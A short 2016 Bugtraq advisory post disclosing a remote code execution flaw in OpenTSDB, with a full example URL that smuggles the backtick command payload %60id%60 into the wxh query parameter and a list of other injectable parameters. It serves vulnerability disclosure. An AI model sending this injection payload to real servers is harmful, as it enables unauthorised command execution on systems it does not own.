Bugtraq mailing list archives
OpenTSDB RCE
From: gsoc () gsoc se
Date: Thu, 21 Apr 2016 14:37:12 GMT
The paramenter wxh needs some sanitation before being used by opentsdb. See example url: http://opentsdb.com:4242/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60id%60&style=linespoint&png Results in RCE unfortunately More parameters: wxh start m o key style Payload: %60id%60 Affects all current versions of opentsdb.
Current thread:
- OpenTSDB RCE gsoc (Apr 21)